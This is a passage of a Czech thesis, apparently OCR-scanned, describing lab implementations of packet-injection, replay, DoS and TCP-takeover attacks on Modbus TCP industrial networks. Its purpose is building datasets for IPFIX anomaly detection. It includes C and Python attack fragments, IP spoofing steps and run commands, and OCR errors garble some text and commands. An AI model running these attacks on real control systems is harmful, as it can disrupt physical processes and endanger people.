rozhrani k odposlechu, coz zajistuje nami implementovana funkce openintForSniff ().
Inicializace rozhrani pro odposlech komunikace je dtlezitd. Sice mtzeme zkouset vkladat
pakety bez odposlechu komunikace, ale bude velice naro¢né uhadnout parametry TCP
spojeni jako je, ¢islo zdrojového portu, Seq ¢isla a Ack d¢isla.

Nyni se dostavame do faze programu, ktera se vykonava v nekonecném cyklu. Nejprve
hledame existujici Modbus TCP paket na nasem siftovém rozhrani, coz je vyjadieno funkci
findModbusPacket (), jak mizeme vidét na obrazku 4.6. Poté tento paket mirné upravime
pomoci funkce generateMaliciousPacket (). Tato tprava zahrnuje vytvoreni skodlivého
paketu, ktery bude odpovidat pozadavkim aktualni TCP komunikace. Nakonec tento novy,
skodlivy paket zapisujeme na nas raw socket pomoci funkce write ().

Funkce findModbusPakcet() nam poskytuje Modbus paket, ktery byl odchycen na
sitovém rozhrani. Modbus paket je rozpoznan podle ¢isla portu a validnich Modbus TCP
hlavicek paketu. Funkce generateMaliciousPacket() musi tento paket vhodné upravit,
aby spravné navazoval na TCP komunikaci. Tento proces muze byt slozity a pravdépodobné
je potieba ho prizpusobit kazdému priumyslovému procesu zvlast, jelikoz rizné prumyslové
procesy muizou mit jinak velké paketové mezery mezi jednotlivymi Modbus piikazy, ¢i jinou
kadenci prikazli, coz ndm ovliviiuje odhad Seq a Ack ¢isel TCP spojeni. Na obrazku c¢islo
4.6 mizeme vidét, ze jsou Cervené vyznacCeny zmeénéné parametry komunikace. Mezi nimi
jsou sekvenéni ¢isla (Seq a Ack), kterd musime upravit, abychom mohli navizat na existujici
TCP stream. Déle jsou zde Transaction ID a data protokolu Modbus TCP. Transaction ID
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by mél byt unikatni vlozenim nového piikazu vytvaiime novou transakci. V paketu, jenz
budeme vkladat do komunikace se data protokolu Modbus TCP snazime nastavit na jinou
hodnotu, nez jaka byla v predchozim paketu. Tim docilime toho, ze do registru zarizeni
slave podvrhneme Spatnou jinou logickou hodnotu, nez jaka tam byla puvodné.

Typicky bychom se mohli pokusit nastavit Ack a Seq ¢isla na ¢isla nasledujiciho oc¢ekava-
ného paketu, ale tento pokus by v tomto priamyslovém scénafi nemél zadny vyznam, jelikoz
se paket nestihne odeslat dostateéné rychle, aby zapadl do existujictho TCP streamu, coz
znamena, ze koncova zarizeni vyhodnotila paket jako TCP retransmisi. Béhem analyzy ko-
munikace bylo zjisténo, ze program posila ¢tyti prikazy typu "write single coil"velice rychle
za sebou a pak zde nésleduje dlouha pauza v komunikaci. Kazdy z téchto prikazi je zapouz-
dfen jako TCP payload o velikosti 12 bajti. Proto se k aktudlnimu Ack a Seq ¢islu pricita
Cislo 48, ¢imz docilime, Ze se vlezeme do vétsi paketové mezery a nas skodlivy paket bude
aktivni po delsi dobu. Zaroven pokud se napiiklad nastavi tfeti bit registru na hodnotu 0
z néjakého divodu a my jej hned vzapéti nastavime na 1 pomoci naseho vlozeného paketu,
pravdépodobné to zpusobi néjaké skody v prumyslovém procesu.

Spusténi Gtoku

Program je rozdélen do tiech zdrojovych soubort: inject.c, modbus-packet.c a sniff.c.
Soubor inject.c je hlavni soubor, ktery obsahuje funkci main (). sniff.c zajistuje odchyceni
existujici komunikace a modbus-packet.c poskytuje struktury a funkce pro vytvoreni paketu
Modbus TCP.
Nejdrive je potfeba nastavit v hlavickovych souborech nasledujici konstanty, tedy pri-
zpusobit je nasemu Teseni.

#define IP_SRC "192.168.88.250" // IP adresa zatizeni master

#define IP_DST "192.168.88.252" // IP adresa zatizeni slave

#define MAC_SRC "1c:69:7a:08:86:1a" // MAC adresa zatizeni master

#define MAC_DST "b8:27:eb:1e:08:59" // MAC adresa zatizeni slave

#define TCP_DST_PORT 502 // TCP port na, kterém naslouchd zatizent slave
#define OUT_INTERFACE "enoZ2" // Nizev sitového rozhrant, kde dochdazt ke komunikact

Nyni je potfeba sestavit program pomoci naseho Makefile souboru.

make clean
make

Nakonec uz staci jen spustit soubor, pricemz argument urcuje, kolik chceme vkladat pa-
ketti do komunikace za minutu. Pro vkladani deseti paketu za minutu spustime program
nasledovné:

./inject 10

Chceme-li vsak pakety vkladat co nejrychleji, jak je to mozné, pouzijeme argument 0.
V tomto pripadé bude rychlost omezend pouze intenzitou komunikace, protoze program
je implementovat tak, ze musi néjaky paket odchytit, aby mohl vlozit skodlivy paket do
komunikace.

./inject O
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Nasledky atoku

Nasledky utoku jsou totozné s nasledky ttoku MITM popsanymi v kapitole ¢islo 4.1. Sa-
moziejmé se nasledky lisi podle toho, jak casto vkladame skodlivé pakety podobné jako u
MITM, kde se skody odviji od toho, jak ¢asto pakety ménime.

Pri vkladani pakett dochazi k jesté jedné udalosti v siti, kterou je vhodné monitorovat, a
tou je zvysSeny vyskyt TCP retransmisi. Pokud vlozime paket s uréitym sekvencénim ¢islem
do sité, drive nebo pozdéji zde prijde paket se stejnym nebo c¢astecné prekryvajicim se
sekven¢nim ¢islem, coz ndm zpusobuje ¢astéjsi resetovani TCP spojeni [21]. Tohoto jevu si
napriklad mtzeme vsSimnout pii analyze komunikace na siti, coz 1ze vidét na obrazku ¢islo
4.7. Zde ma utoc¢niktv paket poradové cislo 270 a o chvili pozdéji se zde vyskytne TCP
retransmise, kdy dorazi paket s poradovym ¢islem 272, jenz ma stejné sekvenc¢ni ¢islo jako
paket Utocnikiv, coz je paket s poradovym ¢islem 270.

278 18, 4¢ -] 8.88,252 92.168.88. Modbus/TCP 66 Response. Trans:. 626!
271 18.496996 192.168.88. 250 192.168.88.252 TCP 54 36236 - 582 [ACK] Set

273 18.498023 192.168.88.252 192.168.88.2508 Modbus/TCP 66 Response: Trans: 381:

Obrazek 4.7: TCP retransmise

Srovnani s existujicimi resenimi

V ramci implementace itoku injektovani paketti na Modbus TCP sité byla provedena reserse
dostupnych feseni. Existuje nékolik fungujicich feseni v rtiznych programovacich jazycich s
jemnymi rozdily. Vsechny tyto realizace itoku funguji na podobném principu, a to vlozenim
pakett do komunikace rychleji nez normalni uzivatel komunikace. Nase implementace titoku
vyuziva vétsich paketovych mezer, na rozdil od ostatnich reseni, ktera se snazi rychle vlozit
paket do komunikace podle aktudlné odposlechnutych sekvenc¢nich ¢isel. Je to zalezitost
implementace prumyslového scénare, ale v uréitych pripadech jako je nase implementace
prumyslovych scénait ttoky nebudou fungovat, nebo budou fungovat jenom velmi méalo a
nahodné, protoze i presto, Ze se hodnota z paketu zapise do registru, tento prikaz bude z
vysokou pravdépodobnosti aktivni jenom po velmi kratkou dobu, nez bude prepsan.

V publikaci [7] byla vytvotrena aplikace s ndzvem TCP Modbus Hacker v programovacim
jazyku Java, kterd umoznuje vkladdni pakett read/write register nebo read/write coil do
existujictho Modbus TCP streamu. Uzivatel muze nastavit rychlost vkladani pakett a urcit
hodnoty, které se maji do registru nebo coilu zapsat. Tento program funguje na principu
vlozeni paketd rychleji nez normalni uzivatel komunikace. Podobny ptistup byl pouzit i v
nasi implementaci ttoku.

V publikaci [24] se pro ttok typu vkladani paket vyuziva existujici penetraéni néstroj
Smod®. Tento nastroj ndm umoznuje vkladat riizné Modbus TCP pakety do komunikace a
byl také pouzit pro MITM.

V poslednim élanku "Modbus TCP Packet Injection With Scapy”'je popsan detailni
postup pro vkladani paketi do existujici komunikace pomoci knihovny Scapy, tento ¢lanek,
ale zanedbava fakt, ze je potfeba prepocitat TCP kontrolni soucty.

https://github.com/theralfbrown/smod-1 [cit. 2023-3-11]
"https://rodrigocantera.com/en/modbus-tcp-packet-injection-with-scapy/ [cit. 2023-3-11]
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4.3 Utok piehrani (Replay Attack)

Utok prehrdnim funguje podobné jako tutok injektovani paketi, s tim rozdilem, ze se do
komunikace vkladaji odchycené pakety bez toho, aniz by se ménila datova ¢ast paketu. To
znamenad, ze odchytneme néjaky paket a ten nékolikrat zreplikujeme do sité. Stejné jako u
utoku vkladani paketi, tak i pii itoku prehrani musi mit tto¢nik moznost odposlouchavat
komunikaci mezi zafizenim slave a master, aby dokazal odhadnout Seq a Ack ¢isla exis-
tujictho TCP spojeni. Tyto ttoky se pouzivaji proti Sifrovanym protokoltim, jelikoz nés v
podstaté nezajima, co je v datové ¢asti, a data jenom hloupé zreplikujeme [3]. Pokud se
vS8ak pokousime o tutok prehrdani nad transportnim protokolem TCP, vyskytuje se zde jeden
problém. Paket nemuzeme ¢isté zreprodukovat, jelikoz by TCP detekovalo, Ze se jedna o
retransmisi. Takze stejné jako u injektovani pakett musime odhadnout Seq a Ack ¢isla a
prepocitat TCP checksum.

Implementace ttoku

Utok prehrani je realizovan téméf stejné jako ttok injektovani pakett viz kapitola &islo 4.2,
s tim rozdilem, Ze nijak nezasahujeme do ¢asti paketu, kterd obsahuje protokol Modbus
TCP. Toho si mizeme vSimnou na obrazku ¢islo 4.8. V podstaté jsme tedy ttok prehrani
implementovali jako variaci ttoku injektovani paketii. Na obrazku 4.8 tedy vidime ze funkce
generateMaliciousPacket () modifikuje odchyceny paket funkci findModbusPacket () je-
nom v ramci TCP parametri, jinak zlstava stejny.

rawSac = createRawSock()
checksum:

seq num: 100 ack num: 200 0x4269

A

openlntForSniff() EEEn (o} Protocol ID: 0| | Lenght: 6 Unit ID: 1
46000
Function Code: 5 DATA: 0x0000
A
—»  mPacket = findModbusPacket()
seq num: 148 ack num: 248 Checkelns
Qi : 0xFA30
v

generateMaliciousPacket(mPacket)

Transaction ID:

46000 Protocol ID: 0| | Lenght: 6 Unit ID: 1

Y Function Code: 5 DATA: 0X0000

— write(rawSoc, mPacket)

Obrézek 4.8: Utok piehrani
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Spusténi Gtoku

Spusténi ttoku je opét stejné jako ttoku injektovani paketu (viz kapitola ¢islo 4.2), kdy
vyuzivame stejné konstanty. Jediny rozdil je jinak pojmenovany spustitelny soubor. Tedy
program spustime néasledovné pro 10 vlozeni paketil za minutu.

./replay 10

Nasledky atoku

Nasledky jsou opét velice podobné jako u utoku injektovani paketu (viz 4.2). Rozdil je ten,
ze se utok projevuje méné castéji, jelikoz je narocnéjsi prekazit prumyslovy proces stejnymi
Modbus TCP ptikazy nez-li jinymi.

Srovnani s existujicimi resenimi

Mnoho studii se nezabyva ttoky prehrani v Modbus TCP sitich, protoze TCP mechanismy
neumoznuji jednoduse zopakovat urcity paket — musime se vyporadat se sekvenénimi ¢isly a
kontrolnim souc¢tem TCP protokolu. Proto bychom mohli Gitok prehranim klasifikovat jako
specificky utok typu vkladani paketu.

Nicméné publikace "Design and Implementation of Cyber-Physical Attacks on Mod-
bus/TCP Protocol"popisuje realizaci titoku prehrani pomoci konceptudlniho modelu itoc-
ného stromu, ktery algoritmicky popisuje postup ttoku. Price poskytuje piehled nastroju,
které muzeme pouzit pro jednotlivé kroky ttoku, ale neobsahuje samotnou implementaci.
[6]

4.4 Utok DoS

DoS (Denial-of-service), tedy odepteni sluzby, vede k dtoku na sit zndmému jako DoS
uatok, a jeho ucelem je zpusobit selhani serveru nebo sité pii poskytovani béznych sluzeb.
Nejcastéjsim DoS utokem proti pocitacové siti jsou utoky na Sifku pasma a konektivitu.
Utok na §itku pasma se vztahuje na ttoky s velkym dopadem na sitovy provoz, aby byly
vycerpany vsechny dostupné sitové zdroje, coz zpusobi, ze pozadavky legitimnich uzivatela
nemohou byt predany. Utok na konektivitu se vztahuje na ttoky s mnozstvim pozadavki
na pripojeni, které maji dopad na operacni systémy serveru tak, ze jsou vycerpany vSechny
dostupné zdroje. V disledku toho server nemiize zpracovat pozadavky legitimnich uzivatela

[5].

Implementace ttoku

Utok je velice jednoduchy, ale zato velmi efektivni. Hlavni myslenka ttoku je, ze zahltime
sit validnimi Modbus TCP dotazy, které sice nemaji spravné TCP parametry, tedy neza-
padnou do TCP spojeni, ale to je irelevantni, jelikoz zarizeni PLC stejné nezvlidaji velké
mnozstvi Modbus TCP paketu. Pakety Modbus TCP jsou navic velice malé. Velikost pa-
ketu predevsim zavisi na velikosti hlavicek vyssich vrstev v nasich scénafich se velikosti
Modbus TCP paketti pohybuji kolem 60 bajt. Problém s tak malymi pakety je, ze jsou pro
koncové zafizeni naro¢né na zpracovani, tedy zpracovat hodné malych paketii je narocnéjsi
nez zpracovat mensi pocet velkych paketi.
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Na&s utok vyuziva existujicich MAC a IP adress, které uz se podarilo odposlechnout na
siti.

Utok je naprogramovan v jazyce C s vyuzitim raw schranek. Celou logiku programu
muzeme vidét na nasledujici ukazce zdrojového kodu.

// Vytvoreni raw schranky

int rawSocket = createRawSocket();

// Vyrobent Modbus TCP paketu, ktery budéme zapisovat na sit
modbusPacket mPacket;

buildModbusPacket (&mPacket) ;

packetToCharArray (packetRawForm, &mPacket);

// Zapisuj Modbus TCP paket na sit v nekonedéné smyécce co mozZnd nejrychleji
while (1){
send(rawSocket, packetRawForm, PACKET_SIZE, 0);

Spusténi Gtoku

Prvné, stejné jako u ostatnich itokt napsanych v jazyce C, je potfeba nastavit konstanty.
Vsechny tyto konstanty, s vyjimkou OUT_INTERFACE, se objevi v paketu.

#define IP_SRC "192.168.88.250" // IP adresa zatizeni master
#define IP_DST "192.168.88.252" // IP adresa zatizeni slave
#define MAC_SRC "1c:69:7a:08:86:1a" // MAC adresa zatizeni master
#define MAC_DST "b8:27:eb:1e:08:59" // MAC adresa zatizeni slave

#define TCP_DST_PORT 502 // TCP port na, kterém naslouchd zatizent slave
#define TCP_SRC_PORT 50840 // TCP zdrojovy port
#define OUT_INTERFACE "enoZ2" // Nizev sitového rozhrant, kde dochdazt ke komunikact

Poté je potfeba program sestavit.
make
A nakonec uz staci jen spustit.

./dos

Nasledky atoku

Po spusténi utoku je témér okamzité celd sit paralyzovani a zafizeni, na které utocime,
neni schopné ani odpovidat na validni Modbus TCP dotazy.

Srovnani s existujicimi resenimi

Existuje mnoho praci, které realizuji DoS utoky na protokol Modbus TCP a existuje mnoho
variant DoS tutoku na sité Modbus TCP. Nékteré prace vyuzivaji TCP SYN Flood tutok, coz
v naSem pripadé neni mozné, jelikoz zatrizeni slave maji zabudovany obranny mechanismus,
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ktery dovoluje navazat jen jedno TCP spojeni. Jiné prace zase vytvari nové TCP spojeni
pro DoS 1itokti, coz zase narazi na stejny problém.

Publikace "Implementing Attacks for Modbus/TCP Protocol in a Real-Time Cyber
Physical System Test Bed'implementuje DoS ttok pomoci TCP SYN Flood, ktery se snazi
zahltit zafizen{ tim, Ze navazuje nova TCP spojeni na nadhodnych portech. To v nasem
pripadé nefunguje, jelikoz zatizeni UniPi PLC v roli slave maji implementovany obranny
mechanismus, ktery dovoluje navazat jenom jedno TCP spojeni, a to jenom na portu, na
kterém naslouchd Modbus TCP server [9].

V préci "Launch of denial of service attacks on the modbus/TCP protocol and de-
velopment of its protection mechanisms"byl princip DoS ttoki stejny jako nas. Utoénik
se snazil zahltit zafizeni enormnim mnozstvim validnich Modbus TCP piikaza a vyuzival
maly vypocetni vykon PLC zafizeni. Rozdil oproti nasemu feseni a stejny problém jako
meéla prvné zminénd publikace spociva v tom, ze utocnik nejdfive navaze TCP spojeni se
zarizenim slave, na které utoc¢i. To vSak nemusi byt mozné diky jednoduchym obrannym
mechanismtim. N&as utok je lepsi v tom, Ze nepotfebujeme navazovat zadné spojeni, ale
pouze zahltime sif vlozenymi pakety. Na druhou stranu to vsSak vyzaduje odposlech sité
[25].

Neékolikrat zminéna publikace "Design and Implementation of Cyber-Physical Attacks
on Modbus/TCP Protocol"popisuje realizaci DoS pomoci konceptuédlniho modelu tto¢ného
stromu, ktery algoritmicky popisuje postup utoku. Tato prace vSsak neposkytuje implemen-
taci DoS utoku, ale pouze ukazuje principy téchto ttoku v sitich Modbus TCP [6].

V publikaci "Practical Modbus Flooding Attack and Detection"se pro DoS ttok vyuziva
stejny nastroj, ktery je pouzivan pro vkladani paketi. Timto néstrojem je TCP Modbus
Hacker. Tento nastroj umoznuje vkladat rizné typy prikazi do existujictho TCP spojeni
s rychlosti, kterou sami specifikujeme. Pokud chceme v tomto néstroji provést DoS ttok,
jednoduse budeme vkladat pakety s co nejvyssi rychlosti [7].

4.5 Preruseni TCP spojeni

Modbus TCP vyuziva transportni protokol TCP, coz znamena, ze ttoky na protokol TCP
mohou narusit spravné fungovani Modbus TCP sité. Mezi nejcastéjsi atoky patii TCP SYN
flood, v némz se snazime TCP server vyhladovét tim, Ze navazujeme co nejvice TCP spojeni
s danym serverem pomoci paketl s nastavenym piikazem SYN [20]. Dalsim typickym uto-
kem je posilani podvrhnutych TCP pakett s priznakem FIN, které ukonci néjaké existujici
spojeni, tzv. TCP FIN utok [20]. TCP SYN flood na nasi siti neni proveditelny, jelikoz za-
fizeni UniPi Neuron, jenz nam zastupuji zafizeni slave, neumoznuji vytvorit vice nez jedno
TCP spojeni a tyto pokusy blokuji.

Provedli jsme utok podobny TCP FIN utoku, avsak ato¢nik navazuje spojeni se zafize-
nim slave a vyuziva IP adresu zarizeni Master. To zptsobi ukonéeni predchoziho validniho
spojeni na zafizeni slave a resetovani TCP komunikace. Rozdil oproti klasickému TCP FIN
utoku spociva v tom, ze Master na tento ttok nedokédze tak snadno reagovat a vzhledem
k vlastnostem zafizeni slave jiz znova neni schopen navazat TCP spojeni, protoze zari-
zeni slave navazalo TCP spojeni s ito¢nikem. Timto prevezmeme kontrolu nad spojenim a
mizeme ovlddat zafizeni slave.
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Implementace ttoku

Uto¢nik se snazi navazat TCP spojeni se zafizenim slave. I kdyZ se mu to nepodaif hned, v
TCP komunikaci se objevi zvyseny vyskyt TCP retransmission paketu kvuli nasim pokustum
o navazani spojeni. Zarizeni slave reaguje na tyto anomalie tim, Ze po urcité dobé vysle TCP
paket s priznakem RST, aby restartovalo existujici TCP spojeni. V tu chvili mé utoc¢nik
moznost zareagovat. Jako prvni obsadi rychlou odpovédi jedinou moznou schranku, kterou
ma zafizeni slave pristupnou. Poté Master nedokaze navizat spojeni se zafizenim slave, coz
je rozdil oproti klasickému posilani TCP FIN paketi. To se jiz d& povazovat za dspésny
utok, jelikoz zarizeni slave nevykonava svou ¢innost, ale muZzeme jesté nadale eskalovat a
ovladat zafizeni slave.

Utok je implementovén v jazyce Python pomoci knihovny pyModbusTCP?, a je opravdu
velmi jednoduchy, jelikoz funkce open() za nas naviaze TCP spojeni. Coz mizeme vidét na
nasledujici ukazce kodu. Aby zafizeni slave neukoncilo TCP spojeni, ¢imz by se uvolnila
moznost pro zarizeni master znova navazat spojeni, je potfeba spojeni udrzovat, proto se
periodicky posilaji Modbus dotazy na zafizeni slave.

# NavaZ TCP spojeni s zarTizenim sSlave
plc2 = ModbusClient (host=SLAVE2, port=SERVER_PORT)
plc2.open()

# Aby nebylo ukonleno spojeni jednou za 2 sekundy poSli Read coil prTikaz
while True:

plc2.read_coils(4,4)

time.sleep(2)

Spusténi Gtoku

Nejprve je potfeba specifikovat konstanty programu pro konkrétni reseni. Tyto konstanty
nam oznacuji IP adresu zarizeni slave a jeho port, na kterém naslouché.

SLAVE2 = "192.168.88.252" # IP adresa zatizeni slave na, které utocime
SERVER_PORT = 502 # Port na, kterém zarTizeni slave posloucha

Poté je potfeba nastavit na rozhrani, kterym jsme pripojeni do Modbus TCP sité, stejnou IP
adresu, jakou ma zafizeni master. Na zafizenich s opera¢nim systémem Linux to napiiklad
muzeme provést nasledovné:

sudo ip add add 192.168.88.200/24 dev eno2
A nakonec stac¢i uz jen spustit utok.

python3 interupt-tcp.py

Nasledky atoku

Nasledky tutoku jsou opét podobné jako pfi ostatnich itocich. Primyslové procesy okamzité
selzou, jelikoz jedno zarizeni slave nedéla vibec nic, a tedy se nepodili na kontrole a fizeni
prumyslového procesu, coz vede k selhani.

®https://pypi.org/project/pyModbusTCP/ [cit. 2023-3-28
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Dalsim a jinym néasledkem je to, ze zafizeni master neni schopno obnovit TCP spojeni
s napadenym zarizenim slave.

Srovnani s existujicimi resenimi
Jednou z praci, ktera popisuje zahlcovani sité Modbus TCP pomoci pakett s priznakem
SYN, je publikace "Implementing Attacks for Modbus/TCP Protocol in a Real-Time Cyber
Physical System Test Bed". Tato prace také uvadi metody detekce téchto utoki. Nicméné
nase topologie sité tento utok neumoznuje, protoze zarizeni UniPi PLC obsahuji obranny
mechanismus, ktery umozinuje pouze jedno TCP spojeni [9].

Publikace "Implementation and Detection of Modbus Cyberattacks'se zabyva itoky, pti

kterych jsou odesilany falesné TCP FIN pakety. V této praci je rovnéz realizovan TCP SYN
flood [24].

4.6 Klasifikace Gtokid podle databaze MITRE ATT&CK

Globalni databaze ttoktt MITRE ATT&CK? poskytuje popis jednotlivych technik a hrozeb
v ICS sitich. Vyuzili jsme ji pro klasifikaci atokl, které jsme implementovali, a dale nam
poskytuje informace o tom, jak se branit proti ruznym typum utok.

Nicméné tato databaze neposkytuje pfimou klasifikaci itoki na protokol TCP, utoku
s prehranim dat nebo utokiu s vkladdnim pakett. AvSak klasifikuje metody, které jsou
potTebné pro realizaci téchto utoku.

V tabulce ¢islo 4.1 shrnujeme klasifikaci itokt, které jsme provedli, podle databaze
utoka MITRE ATT&CK:

Utok Kategorie | Technika

DoS T0814 Denial of Service

TCP utoky T1095 Non-Application Layer Protocol
MITM pomoci ARP spoofingu | T0830 Adversary-in-the-Middle
Prehrani sité T0842 Network Sniffing

Vkladani pakett T0842 Network Sniffing

Tabulka 4.1: Klasifikace atoku prumyslové sité podle databédze ttoki MITRE ATT&CK

P1i obrané proti témto utoktim je potfeba brat v tvahu, zZe utoky na ICS sité mohou
byt Casto kombinaci riznych technik a hrozeb, proto je pri zabezpeceni prumyslové sité
dilezité zamyslet se nad celkovou situaci a pouzivat Sirokou skélu obrannych opatieni.

4.7 Vytvorené datové sady

Vytvorili jsme datové sady pomoci programu Wireshark, ktery zaznamenal vsechny tutoky
a norméalni komunikaci ve formatu PCAP. Tyto soubory jsme dale zpracovali pomoci sondy
FlowMon, kterd vytvorila IPFIX zaznamy ve formatu CSV. VSechny tutoky, které jsme
zaznamenali, probihaly po celou dobu zaznamu. Piehled datovych sad, které jsme vytvorili,
je uveden v tabulce ¢islo 4.2.

“https://attackmitre.org/ [cit. 2023-3-11]
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Datova sada pakety/cas | Velikost | popis

dos 7514 877/115 s | 631 MB | ttok DoS

inject-10 6 421/474 s 516 KB | ttok vkladani pakett o rych-
losti 10 ppm

inject-50 9 131/550 s 732 KB | utok vkladani paketi o rych-
losti 50 ppm

inject-full-speed 408/36 s 33 KB | utok vkladani paketti o maxi-
mélni rychlosti

tep-attack 5 862/566 s 647 KB | utok na preruseni TCP spo-
jeni

replay 6 518/637 s | 532 KB | utok prehrani

all —all0 10 x 21 000/25 min 21 MB | deset zaznamt normaélni ko-
munikace montazni linky

whl — wh10 10 x 52 000/25 min 63 MB | deset zaznamt normaélni ko-
munikace z primyslového scé-
nare inteligentniho skladu

Tabulka 4.2: Prehled vytvorenych datovych sad

4.8 Shrnuti

Tato kapitola detailné popisovala realizaci péti tokd na protokol Modbus TCP, jejich
spusténi, srovnani s existujicimi publikacemi, nasledky téchto utokiu a klasifikaci utoku
podle globalni databaze utokiit MITRE ATT&CK.

Prvni atok, ktery jsme realizovali, je MITM pomoci ARP spoofingu. Jedna se o itok,
ve které se tutocnik stane prostfednikem komunikace, veskery provoz prochazi pres néj a
uzivatelé o tom nevédi. Tento ttok, stejné jako utoky vkladani paketi a prehrani, umoznuje
nastaveni intenzity ménéni paketil, coz vyuzijeme pii detekci.

Druhym a tfetim utokem bylo vkladani pakett a ttok prehranim, které funguji tak,
ze se do existujiciho TCP spojeni vkladaji pakety s tim rozdilem, ze u utoku vkladani pa-
ket vkladame do komunikace libovolna data, zatimco u toku prehrani jenom replikujeme
existujici pakety na siti.

Jako Ctvrty ttok jsme provedli jednoduchy DoS, pii kterém zasilame velké mnozstvi
validnich Modbus TCP pakett, které zarizeni PLC nedokazou zpracovat.

A nakonec jsme realizovali utok, ktery neutodi ¢isté na protokol Modbus TCP, ale
vyuziva slabiny transportniho protokolu TCP. V tomto ttoku jsme se vydavali za zarizeni
master a zabranili jsme skute¢nému zafizeni master, aby znovu navazalo komunikaci se
zarizenim slave.

Vystupem této kapitoly jsou datové sady obsahujici rizné typy utoki a norméalni komu-
nikaci z pramyslové sité Modbus TCP, které mohou byt déale pouzity pro testovani metod
detekce anomalii.
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Kapitola 5

Detekce utokil pomoci
monitorovani IPFIX

ICS sité, do kterych spadaji priamyslové sité postavené na protokolu Modbus TCP, jsou
na rozdil od klasickych IP sitich, které pouzivame denné, velice stabilni, periodické a pred-
vidatelné. V ICS sitich mizeme nalézt urcité pravidelné vzorce chovani. Chovani ICS siti
se da popsat pomoci riuznych statistickych modelti, konecnych automatt nebo s vyuzitim
teorie informaci. Mame-li vytvoreny urcity formalni ¢i statisticky model sité, mtizeme na
ném provadét detekci anomdlii tak, ze porovname pravé probihajici sitovou komunikaci s
modelem [8].

5.1 Modelovani komunikace Modbus TCP

Pro zjisténi bézného fungovani nasi Modbus TCP sité v pramyslovych scénarich, které jsou
popsany v kapitole ¢islo 3 a jeji detailni analyzu, jsme vyuzili zdznamy IPFIX vygenerované
sondou FlowMon. Déle jsme provedli ru¢ni analyzu samotnych PCAP soubor této sité, jenz
byly pouzity pro vytvoreni zdznamu IPFIX.

I presto, Ze je analyza zamérend predevsim na protokol Modbus TCP, monitorujeme i
ostatni udalosti a protokoly. To nam totiz mtze pomoci odhalit jiné Gtoky ¢i anomaélie na
siti, jako jsou napiiklad dtoky na ARP tabulku, pokusy o zahlceni zdroji, itoky piimo na
protokol TCP ¢i jiné.

Kvalitativni analyza komunikace

Na sitovém provozu prevlada komunikace protokolu Modbus TCP, ktery se sklada z trans-
akci, které vzdy iniciuje zafizeni master s jeho Ctyfmi zafizenimi typu slave, ty provadi
fizeni pruimyslového procesti. V Modbus paketech se objevuji piikazy: write single coil,
write multiple coils, read coils. Prikaz typu read coils se pouziva ke zjisténim hodnot regis-
trh, které uchovavaji stav ¢idel. Na zakladé téchto namérenych hodnot, obvykle zapisujeme
do vystupnich registri pomoci prikazu typu write. Zajimavé je, ze zafizeni slave vétsinou
odpovi na dotaz v ramci tisicin az desetitisicin vtefin.

V nasi Modbus komunikaci je jeden vzorec chovani, kterého si mizeme vsSimnout. Po
Ctyfech write single coil paketech nasleduje pul sekundova az sekundova pauza bez TCP
paketl, coz je zpusobeno programovymi ¢asovaci. Jedna se o slabinu, kterd muze zjedno-
dusit odhadnuti TCP sekvenc¢nich ¢isel paketii.
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Z pohledu TCP, master inicializoval TCP spojeni a s kazdym zafizenim slave jej udrzuje
po celou dobu komunikace. V komunikaci se tedy neobjevuji pakety s priznakem FIN nebo
RST. Déle zde nékolikrat dochazi k TCP retransmisi a potvrzovani nedorucenych zprav.
Také si mtizeme vSimnout, ze naprosto kazdy Modbus TCP paket obsahuje ptiznaky PSH a
ACK. PSH priznak zde je, jelikoz se ptikaz i s daty vzdy vleze do jednoho paketu a rovnou
se provede na zafizeni.

Kvantitativni analyza komunikace

V tabulce ¢islo 5.1 si muzeme vSimnout mnoha zajimavych statistik komunikace. Tato
statistika byla vytvorend jako prumeér z deseti zdznamu norméalni komunikace o délce 25
minut. Muzeme vidét kolik bylo pfeneseno ruznych typu prikazu s jakou tispésnosti a mezi
kterymi koncovymi stanicemi. V tabulce nejsou veskeré parametry, které jsme z IPFIX
zaznamu zjistili, ale jenom nékteré vybrané.

Tabulka 5.1: Kvantitativni analyza sifové komunikace.

Statistické idaje o komunikaci Sklad | Linka
Celkovy pocet prenesenych paketii 13 523 4 218
Celkovy pocet prenesenych bajti 857 940 | 283 836
Primérna velikost pakett 63 67
Celkovy pocet prenesenych pakett Modbus TCP 13 409 4118
Celkovy pocet prenesenych bajta Modbus TCP 826 287 | 253 360
Primérna velikost paketu Modbus TCP 61 62

Celkové procento sifové komunikace tvorené pakety Modbus 96,31% | 89.26%
TCP

Primérny pocet prenesenych pakett za sekundu 45 14
Primérny pocet prenesenych paketi Modbus TCP za 45 14
sekundu

Primérny pocet prenesenych bajtt za sekundu 2 860 946
Primérny pocet prenesenych bajtti protokolu Modbus TCP 2754 845
za sekundu

Pocet prenesenych paketiti mezi stanicemi A <-> B 839 0
Pocet prenesenych paket mezi stanicemi A <-> C 9 161 2188
Pocet prenesenych paket mezi stanicemi A <-> D 3023 254
Pocet prenesenych paket mezi stanicemi A <-> K 384 1676
Pocet Modbus Read/Write dotazi mezi stanicemi A <-> B 335/0 0/0

Pocet Modbus Read/Write dotazti mezi stanicemi A <-> C | 3812/0.04 | 850/21
Pocet Modbus Read/Write dotazi mezi stanicemi A <->D | 293/774 0/84

Pocet Modbus Read/Write dotazti mezi stanicemi A <-> E 159/0 678/0
Pocet prenesenych paketii ze stanice A do stanice C 5 349 1317
Pocet prenesenych pakett ze stanice C do stanice A 3 812 871
Celkovy Pocet Modbus Read dotazu 774 106
Celkovy Pocet Modbus Write dotazu 4 600 1528
Celkovy Pocet Modbus Diagnostickych dotazu 0 0
Celkovy Pocet Modbus tspésnych odpovedi 5 374 1634
Celkovy Pocet Modbus netuspésnych odpovédi 0 0
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| Celkovy Pocet Modbus dotazu jiného typu | 0 0

Timto jsme v podstaté vytvorili model Modbus sité. Tento model miizeme porovnavat s
aktudlni komunikaci a na zdkladé toho vyhodnocovat, zda je testovand komunikace platna
a odpovidd modelu, nebo nikoli.

Statisticka analyza komunikace Modbus TCP

Na zakladé statistiky z tabulky ¢islo 5.1 jsme udélali statisticky rozbor komunikace. Tento
rozbor ndm pomiize vybrat parametry komunikace na, které je dobré se zamérit v statis-
tickych metodach detekce.

Nejprve jsme srovnali vyskyty jednotlivych Modbus TCP prikazi. To mizeme vidét na
obrazku ¢islo 5.1, kde je rozbor prikazu normélni komunikace a testované, jenz obsahovala
utok vkladani pakett pri rychlosti 50 vlozenych paketd za minutu. Je zde znatelny rozdil v
Modbus write ptrikazech mezi normalni a testovanou komunikaci jiz zietelny, a to ptiblizné

5%.

